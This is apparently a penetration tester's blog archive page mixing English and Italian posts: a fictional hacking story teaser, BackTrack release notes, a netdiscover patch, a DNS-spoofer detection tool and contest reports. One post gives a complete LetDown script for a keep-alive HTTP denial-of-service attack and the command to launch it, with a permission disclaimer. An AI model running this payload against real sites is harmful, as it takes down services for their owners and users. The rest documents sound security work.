The invisible woman and the axis camera

1

This post follows the original “philosophy”377 of this blog. Sometimes, when I think about a technique or a skill I consider interesting, I also imagine a real-life scenario where this technique can be applied (and seems I’m not the only one378…).

So, why not combining technical explanations with realistic stories, avoiding the usual, and sometimes boring, article style?

An excellent example of this is the Stealing the Network379 series. Especially the first book How to Own the Box380, composed by several stand-alone episodes, mix in a perfect way commands, exploits and traffic dumps with captivating stories: an entertaining reading for both experienced non-expert audiences.

Of course I don’t consider myself as good as the authors of the series, especially when it comes to write a story in a language that is not mine. What follows is just a modest experiment, done largely for the pleasure of writing. Feel free to report any errors, grammatical or not.

If you are only interested in technical subjects, the story includes a security camera hijack via real-time image alteration, some interesting tricks with ARP packets (of which one is probably unedited), and a bit of physical penetration test.

I hope you’ll like it…

Anti-aircraft Artillery

After all, entering the internal network wasn’t difficult…

When we initially identified a WEP wireless network, we wanted to seize that low-hanging fruit and avoid direct contacts with the customer as long as possible. But the enthusiasm was short-lived.

“Aren’t you planning to crack that network, are you?” said GrayFog in a tone of disapproval, “According to the Mac address, the access point is a SonicWALL. Maybe they have maintained an obsolete encryption for backward compatibility issues, or maybe not. “
GrayFog is our remote support, the fact he’s a paranoid type by nature makes him particularly suitable for this role.
“Do you think it’s an honeypot?”  I replied. “I think nothing, my lord. But you know, Curiosity Killed The Cat…”

When he starts to quote I feel an irresistible urge to beat him, but, as we discovered later, his advice was correct. The wireless network was kept under control, and any attack would have been detected immediately381, if not actively blocked (apparently there’s a reason for the price of SonicWALL products…)

Despite this drawback, we could have tried to decrypt the traffic in a passive manner, but since network traffic was very low, it would have taken a long time. However I had an ace up my sleeve.

“Since you are in citation mode, who said ‘In battle one engages with the orthodox and gains victory through the unorthodox’?”  Just a rhetorical question… “Are you kidding? Sun Tzu, The art of war.”
“Returning to more concrete things, do you have a plan Luna?” For the first time Daniel was talking, my partner in physical operations.
“Yes, I do. But we must get our hands dirty, something low-tech.”

Read more of this post

LetDown and HTTP DoS attacks

These days much attention has turned to certain denial of service attacks that plague HTTP, also due to inherent vulnerabilities of the protocol itself.

I’ve read some nice pages and tools on various blogs/sites (e.g. Keep-Alive DoS script and Slowloris have caught my attention).

Usually all the tools work well, but they have some drawbacks: each one reimplements the wheel from scratch and uses standard operating system sockets to send and receive data. Therefore they are slower and consume more memory than a full raw-socket approach.

In most cases, this is not a problem: just think about the tool Slowloris which has been specifically designed for low bandwidths. But there are also cases where we want to maximize the resources we have…

The problem with the use of raw sockets and packet sniffing is that they are difficult to implement quickly and easily.

For these reasons, some time ago, I developed LetDown (http://complemento.sourceforge.net/). LetDown is a tcp flooder that uses an experimental userland TCP/IP stack, supports multistage payloads for complex protocols, and other interesting things (fragmentation of packets, variable tcp window, …) we won’t analyze right now.

The advantage of using LetDown is that we can concentrate on the data transmitted, leaving out the algorithms and the programming part.

Keep-alive DoS via LetDown

Keep-alive Denial of Service concepts are:

  • The use of Keep-Alive HTTP header to maintain the connection open.
  • The use of HEAD requests to reduce network overhead.
  • Target a resource intensive page (a page that require interaction with databases, files, etc…).

You can read more here: http://www.esrun.co.uk/blog/keep-alive-dos-script/. The author provides a php script that demonstrates the attack.

We can rewrite that script as a multistage payload, i.e. a python script interpreted by the embedded python engine of letdown:

#
# Letdown reimplementation of the attack:
# Keep-Dead (Version 1.14)
# http://www.esrun.co.uk/blog/keep-alive-dos-script/
#
# More info:
# http://securityadventures.wordpress.com/
# 

import random

# Callback function
def callback(count, h_flags, h_payload):

    global flags
    global window
    global action
    global payload

    #
    # Attack options
    #

    # target host
    target_host = "www.domain.net"

    # target query
    target_query = "/wordpress/?s=%rand%"

    # max requests per connection
    max_requests_per_connection = 100

    # user agent
    user_agent = "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7"

    #
    # Send HTTP requests
    #

    if count < max_requests_per_connection:

        # packet settings
        flags   = ack
        window  = 1024
        action  = act_wait

        # HTTP request
        payload  = "HEAD " + target_query.replace('%rand%',str(random.getrandbits(20))) + " HTTP/1.1\r\n"
        payload += "Host: " + target_host + "\r\n"
        payload += "User-Agent: " + user_agent + "\r\n"
        payload += "Connection: Keep-Alive\r\n\r\n"

    #
    # Close the connection
    #

    else:
        flags   = rst
        action  = act_wait

As you can see we did not need to program anything to manage the connection. These tasks are entirely managed by LetDown, via raw sockets and libpcap.

The only options specified are the contents of the TCP packet (the payload), and the action to perform (act_wait means: send the packet and wait for an acknowledgement packet from the server).

We can now lauch the attack with this command:

root@box# letdown -d DESTINATION_IP -D GATEWAY_MAC -p 80 -M payloads/http-keep-alive.py -f iptables -v 2

Of course, these attacks are allowed only if directed against machines on which we have permission to conduct tests. Before using it you should also give a look at the guide (http://complemento.sourceforge.net/howto/index.html) in order to understand low-level operations of the tool, and be able to identify the causes of the eventual errors.

PS: The script can probably be optimized against the specific target introducing appropriate delays (in the base form it’s only a Proof-of-Concept).

Flux-for-back… Awesome!

Thanks to the time spent by Brigante on the project “Fluxbox for BackTrack“, a new desktop environment will be soon available for your favorite distribution. Results are not bad at all:

As you know, FluxBox is a window manager very light on resources, so it’s perfect if you hate long loading times, or if you use a not very recent machine. Let me give you just a few tips, waiting its insertion into the repository…

To switch from KDE to Fluxbox and vice-versa, you should use Dragon, the new BackTrack command-line panel:

To configure Fluxbox, the customized script flux-for-back is provided (but, if you want, you can also use Flux Menu. See the first screenshot…):

Ok guys, stay tuned! ;)

NetDiscover (libnet purge)

Many of you know netdiscover (http://nixgeneration.com/~jaime/netdiscover/), which is, according to the site:

“Netdiscover is an active/passive address reconnaissance tool, mainly developed for those wireless networks without dhcp server, when you are wardriving. It can be also used on hub/switched networks.”

Netdiscover is very good tool, based on libpcap (http://www.tcpdump.org/) and libnet (http://sourceforge.net/projects/libnet-dev/). No problems with libpcap, but libnet is difficult to obtain/build on recent operating systems, since it’s not more developed.

I’ve written a patch for NetDiscover 0.3-beta7 (the last release) that eliminates libnet dependency. To apply it:

# cd netdiscover_directory # wget http://backtrack.it/~crossbower/netdiscover0.3-beta7-no-libnet.patch
# patch -p1 < netdiscover0.3-beta7-no-libnet.patch
patching file src/ifaces.c
patching file src/ifaces.h
patching file src/main.c

Then you must comment some lines from configure.ac:

AC_INIT([netdiscover], [0.3-beta7], [jpenalbae@gmail.com])
AC_CONFIG_AUX_DIR([build-aux])
AM_INIT_AUTOMAKE([-Wall -Werror])
AC_PROG_CC dnl Checks for header files. dnl check for pcap.h
AC_CHECK_HEADER(pcap.h,, AC_MSG_ERROR(Cannot find pcap.h - You need libpcap installed.))

#dnl check for libnet.h
#AC_CHECK_HEADER(libnet.h,, AC_MSG_ERROR(Cannot find libnet.h - You need libnet 1.1.x installed.))

AC_CONFIG_HEADERS([config.h]) AC_CONFIG_FILES([Makefile src/Makefile doc/Makefile]) AC_OUTPUT

printf "\nRun ./update-oui-database.sh if you want a updated MAC vendors database.\n\n" 

And finally compile and install with:

# ./autogen
# ./configure
# make
# make install 

Et voila! If you are lazy (like me) this is a prepatched archive (with updated OUI): http://backtrack.it/~crossbower/netdiscover-patched.tar.gz

Enjoy ;)

Update: My patch has been added to the development version of NetDiscover (http://netdiscover.svn.sourceforge.net/viewvc/netdiscover/trunk/ChangeLog):

Netdiscover 0.3-beta7 (Currently working on it)
   * Emanuele Acri <crossbower@gmail.com>: Libnet injection replaced by pcap
   ...

I’m really happy :)

DNS Despoof(er)

These days I was playing with some well-known tools to perform DNS spoofing in both *nix and windows environment: Dnsspoof (part of the dsniff suite) and WinDNSSpoof, of which I learned only recently.

I was analyzing the generation of DNS replies when I discovered something interesting:

If a request is artificially forged with arbitrary trailing bytes, these bytes are replicated in replies of DNS spoofer. The DNS response, since it must contain a copy of the query sent to the server, is generated with a simple memcpy () without being fully parsed.

Due to this behavior, we can easily find out if we are victims of DNS spoofing, if the attacker uses one of these stateless tools (essentially sniffers based on pcap). Of course this permit to detect the spoofer even if the attacker is not using ARP spoofing or other visible techniques.

So I wrote a script, quite easy to use, to automate this test. It’s based on hping3 tcl shell, which provides (IMHO in an easier manner than scapy) a framework for packet forging. Let’s see how to use the tool:

root@backtrack-base# hping3 exec dns_despoof.tcl
DNS Despoofer - Emanuele "Crossbower" Acri - 2010
 Usage: hping3 exec dns_despoof.tcl <server> <interface> (<action:search|crash>)

root@backtrack-base# hping3 exec dns_despoof.tcl192.168.56.101 vboxnet0 search
SPOOFER DETECTED!

In this case dnsspoof was running.

The tool has also another function: crash. This function injects a malformed packet, where the DNS name is not terminated by a null character. The tools that fail to properly parse the requested will exhibit a nice segfault. This is the case of WinDNSSpoof.

Dnsspoof, instead, uses the function dh_expand, contained in resolv.h, which is able to detect this type of error:

if ((i = dn_expand((u_char *)dns, end, p, name, sizeof(name))) < 0)
 return;

Crash example:

root@backtrack-base# hping3 exec dns_despoof.tcl 192.168.56.101 vboxnet0 crash
Bullet fired... Try again to search for spoofers:
 1) No responses: the spoofer is probably crashed (windnsspoof).
 2) Responses: it's a well written spoofer (dnsspoof).

A subsequent test will allow to realize whether the tool crashed or not, so this may also be a sort of fingerprint.

Here’s the source code of the tool (http://pastebin.com/78y4snFk). It’s only able to make a request with the name “google.com”, but can be easily adapted.

Backtrack 4 R1 “chiccas”

After many sleepless nights and bloody battles that have changed the physiognomy of backtrack’s developers (group photo just before the release), I wanted to show you some chiccas (goodies) of the new BackTrack 4 R1.

First of all, by popular demand, the network configuration software WICD has been updated to version 1.7.0. Not only that, there are interfaces for all tastes:

So if you are a shell’s fanatics, like those cool guys who have won the last edition SecSum CAT, I hope you will appreciate the curses interface that allows you to switch between wireless networks in a more human manner (if you prefer airodump-ng + iwconfig, well, I recommend this).
For ordinary mortals the new gtk GUI will be just fine :)

Many changes also in the Snort package: improved installation process and the possibility to choose between two different web interfaces: BASE and Snorby.

And because we like eye-candy ;) :

Eye-candy Snorby

And last but not least, the introduction of Dragon, a new CLI Control Panel for BackTrack.

With this tools we hope to automate a number of operations that users have so far done manually or using external scripts (more or less official, more or less working).

Dragon can easily handle the installation of new tools, installed now following a new category-based method, after the genocide of the annoying “bulk mega metapackages” :P

In addition the selection of the default desktop manager, the management of firmware and kernel-source, is now possible even for the less experienced.

If you want more information about Dragon, Emanuele Gentili wrote a post on his blog and made an usage video: have a look!

That’s all folks, cya ;)

PS: This would not have been possible without the cooperation of all. In particular I wish to greet Emanuele “emgent” Gentili and Marco “white_sheep” Rondini, without which we would not have Dragon and “credits –candycandy”(try it out…)

Vita da sviluppatore BackTrack (ovvero come fingere di avere un esistenza emozionante)

Almeno il logo fa la sua figura :)

Almeno il logo fa la sua figura :)

Come avrete già compreso dal titolo questo post contiene una vena sarcastica. Talvolta ci capita di ricevere email piuttosto “particolari”, del tipo: “Ragazzi siete fantastici! Ma cosa fate tutto il giorno?” (il che potrebbe suonare come un insulto, ma noi non siamo molto suscettibili…), oppure: “Vi stimo fratelli, includete anche il mio programma in backtrack???”.

Questo post nasce da alcune riflessioni in seguito a questi folkloristici messaggi. Cerchero’ di rispondere ad alcuni dubbi che molti hanno (“ma chi gestisce il repository? Ognuno include quello che vuole?!?”, e di solito segue: “ma se e’ cosi, che vi costa aggiungere il mio t00l super c00l, scritto in visual basic?”).

Vediamo com’é veramente la vita da sviluppatore BackTrack…

Read more of this post

Saluti post-CAT2010

Eccoci, siamo tornati a casa. Siamo sopravvissuti al CAT e al Security Summit (sebbene in quest’ultimo caso le speranze stavano venendo meno, hehe). Le avventure da raccontare sono tante, ma come primo post dal ritorno volevo salutare alcuni simpatici ragazzi che ho avuto il piacere di conoscere.

Ecco il gruppo al completo:

Che banda di matti!

Che banda di matti!

Eccoci tutti in un “area verde” (termine molto discutibile, essendo a Milano). Partendo da sinistra verso destra: Un saluto al trio che ci ha tenuto compagnia durante il CAT, ragazzi arrivati da Ferrara e partiti lo stesso giorno del CAT. Il ragazzo alto, “Capon”, e rimasto un po’ di piu’, e siamo stati insieme anche il giorno seguente.
Al centro ci sono io (quello piu’ basso per intenderci) :)
L’altro ragazzo alto, che sicuramente conoscerete gia’, e’ Emanuele Gentili, e a seguire due membri dell’IHTEAM, Mauro e Marco, che ringrazio tanto per l’aiuto e il supporto morale per la nostra presentazione.

La stessa cosa vale per Paolo “Aspy” Giardini, che ho avuto finalmente il piacere di conoscere dal vivo.

Sicuramente e’ stata una bellissima esperienza, fatta di tante avventure e alcuni “Epic Fail”, ma anche se e’ stato faticoso ne e’ valsa la pena. Saluto tutti, ci rivedremo al prossimo evento ;)

CAT 2010, ne vedremo delle belle?

E anche quest’anno una nuova edizione del CAT avra’ luogo: questa volta a Milano il 13 Marzo. Avevamo gia’ parlato delle precedenti esperienze in questo post sul CAT 2009.

CAT 2010 Security Summit Edition

Cosa ci sara’ di diverso? Beh, orvieto e’ una citta’ non molto grande dove e’ facile muoversi da una parte all’altra a piedi. Milano (sebbene l’area in cui si svolgera’ la campetizione e’ circoscritta) e’ molto piu’ dispersiva, e riserva inconvenienti a cui i nostri eroi dovranno far fronte.

Intanto sara’ piu’ difficile identificare gli access point in un area densamente wireless-zata, e poi non si escludono interferenze esterne che possono ostacolare i partecipanti, perche’ Milano e’ una citta piena di sorprese ;)

Tra i motivi per partecipare c’e’ anche la presenza di ospiti internazionali, infatti partecipera’ al CAT anche Mark Abene: ricordate Phiber Optik del gruppo Masters of Deception? Beh, e’ proprio lui, quindi vi conviene cominciare a prepararvi se volete gareggiare con successo…
A parte le esagerazioni, la competizione e’ aperta a tutti, anche solo per divertirsi e migliorare le proprie capacita’ mettendosi a confronto con altri, quindi “Have no fear!” ;)

Per quanto riguarda me, dovrei esserci al 99% per assistere alla gara. Non so se partecipero’ alla competizione (anche se non mi dispiacerebbe), ma saro’ li come relatore per una ricerca condotta insieme a Emanuele Gentili e Alessandro Scoscia. Qui ci sono i dettagli:
https://www.securitysummit.it/eventi/view/68

Allora, ne vedremo delle belle? Sicuramente si! Cominciate a fare i piani per venire e soprattutto prenotate l’albergo perche’ i posti stanno finendo ;)

PS: Non si escludono aggiornamenti di backtrack in vista del CAT, quindi stay tuned

CAT2009 Una recensione semiseria dell’evento

LogoCAT2009

LogoCAT2009

Il giorno 11 Luglio 2009, nella bellissima cittadina di Orvieto si é tenuto un evento che non ha precedenti in Italia ne probabilmente all’estero: una “Cracca al tesoro” composta da un mix di wardriving e penetration testing, preceduta da numerosi seminari e da un’immancabile distribuzione di gadget. Ma partiamo con ordine dai primi momenti di questa emozionante giornata.

L’arrivo
Di certo Orvieto non é estranea a manifestazioni e convegni, infatti all’entrata della città storica sfoggia uno striscione di saluto “a tutte le confraternite d’Italia”. L’ottima accoglienza turistica e la posizione relativamente centrale della città ha consentito un soggiorno comodo per tutti i partecipanti. L’unico problema forse, per chi é arrivato quella mattina, é stato il mercato che ha occupato tutti i parcheggi disponibili vicino a Palazzo del Popolo.
I seminari non sono iniziati all’orario stabilito, ma sono slittati di un’ora, in modo da far arrivare i ritardatari e forse dovuto anche a qualche problemino tecnico. In questo tempo le squadre parteciponti alla competizione hanno potuto registrarsi e ricevere le tanto agognate magliette (un particolare da notare su queste: “nslookup hacker -> 127.0.0.1″. Umorismo geek, traduzione per i profani: “Chi é hacker? -> Sono io”).

Conferenze tecniche
Le conferenze si sono aperte con una presentazione dei vari organizzatori dell’evento da parte del grande Raoul Chiesa, seguita da un discorso tenuto dall’Arma dei Carabinieri sui crimini informatici, e con accenni alla relativa legislazione.
Il programma é proseguito con “Backtrack: Storia di un progetto vincente” tenuto da Emanuele Gentili, membro del progetto Remote Exploit, e Alessandro Scoscia della community di Backtrack.it. Grazie a loro abbiamo avuto una panoramica sul progetto Remote Exploit, che non é solo Backtrack, ma anche “Learning” e “Reseach”, oltre che aver ascoltato divertenti aneddoti su come farsi pedinare dalla polizia alle 2:00 di notte o suscitare la curiosità dei carabinieri con una maxi-parabola puntata verso il basso. Le diapositive del loro intervento saranno presto rese disponibili online.
La successiva presentazione “Una vita in tasca, da boot a remote root” di Carlo Velletri ha purtroppo subito una mutazione, ed é passata dai 45 minuti del programma, a poco piu’ di 10 minuti. Un vero peccato che il tempo sia stato cosi’, poco perche’ si trattava probabilmente della parte piu’ tecnica della conferenza.
A seguire un divertente botta e risposta di Alessio Pennasilico con Cristiano Cafferata, che ci ha illustrato come “dormire sicuri la notte” con le “scatole” SonicWall, oltre a dubbi insinuatoci da Alessio sulla sicurezza di WPA quando ha tirato fuori la sua bacchetta magica (no, non é quella di Harry Potter…).
Dopo un breve intervento di ZerO’clock ci siamo divertiti con Matteo Flora, ora CEO di The Fool srl, che ci ha parlato dei suoi sospetti su Google quale “grande fratello” e in generale dei problemi di profilazione utente tramite i server DNS. Ci ha parlato anche di sue molto “controverse” opinioni, secondo cui é meglio “non avere scatole, tra le scatole” (sono quasi le sue parole). Per chi non conoscesse Flora consiglio di andarsi a vedere un’altra sua presentazione, di qualche tempo fa, sui metodi di censura italiana.
Finito il seminario siamo andati tutti a mangiare Al San Giovenale di Orvieto, sulla terrazza panoramica. Un bel locale, con un bel panorama, anche se non lo abbiamo visitato per intero. Poco dopo é iniziato il contest “caccia al buffet”, la competizione piu’ accesa, dove le regole non proibivano colpi bassi… Il tutto condito con la simpatia dello staff che faceva conoscenza con le varie squadre ai i tavoli.

Pomeriggio
Alle 15:30, dopo un breve appello delle squadre, e dopo esserci accertati che Baby l’Orsetto Team non avesse disertato all’ultimo momento, Pennasilico in uno stato semidelirante concesse alcunni indizi alle squadre. Dopo questo… Ooooompa!

La cracca al tesoro
Cinque access point erano stati preparati sul territorio orvietano, anche a una certa distanza tra loro. Si va dalla ex-caserma, alla funicolare, passando per il duomo, e l’ultimo, a sorpresa nel Palazzo del Popolo. Di sicuro avranno apprezzato coloro che si portavano dietro degli UPS per le emergenze.
Le vulnerabilità erano piuttosto banali (misconfigurazioni, buchi nelle web application, passwords di default), ma bilanciate dalla maggiore difficoltà nel trovare le reti e dal lavoro on-the-field.
La competizione non é stata certo senza colpi di scena, come una squadra molto simpatica che ha cambiato le cordinate contenute in un indizio, per farle puntare a un ridente paesino russo, altro a mettere quasi fuori uso il sistema. Peccato non ci sia stato detto il nome dei membri, perché molte squadre avrebbero voluto volentieri ringraziarli di persona. Non é mancato poi il classico access point ballerino (che ne dite se per il prossi anno passiamo ai Cisco?).
Verso lo scadere del tempo era circolata la voce che l’ultimo access point era “up” e molto facile da bucare, poverine le squadre che ci hanno creduto e si sono trovate davanti una WPA e pochi minuti per craccarla.
Il gioco si é concluso verso le 20:30, senza morti ne feriti (e soprattutto senza carabinieri in giro).

Sera
Ringraziamenti a tutto la staff e gli sponsor, riappello delle squadre e finalmente la proclamazione delle squadre vincitrici: primo posto Disarm3d con 80 punti, secondo posto AdHoc con 60 punti e terzo posto Aircrack-gun con 40 punti. La seconda e la terza squadra hanno ricevuto libri gentilmente offerti da Apogeo, mentre i vincitori un fighissimo SonicWall TZ200, non ancora messo in commercio (per i dettagli tecnici consultate il sito dell’azienda).
Il tutto é finito allegramente, con una mangiata, tante chiacchiere e forse un’eccessiva quantità di sangria :)

Disclaimer
Questa é una recensione semiseria, come da titolo, pertanto lo scopo non era quello di offendere nessuno dei personaggi citati, che spero ci si facciano una risata sopra.

PS: Ho partecipato con la squadra AdHoc e siamo arrivati secondi! Un ringraziamento a Ioan, Cibbao e BARz per l’aiuto!

Follow

Get every new post delivered to your Inbox.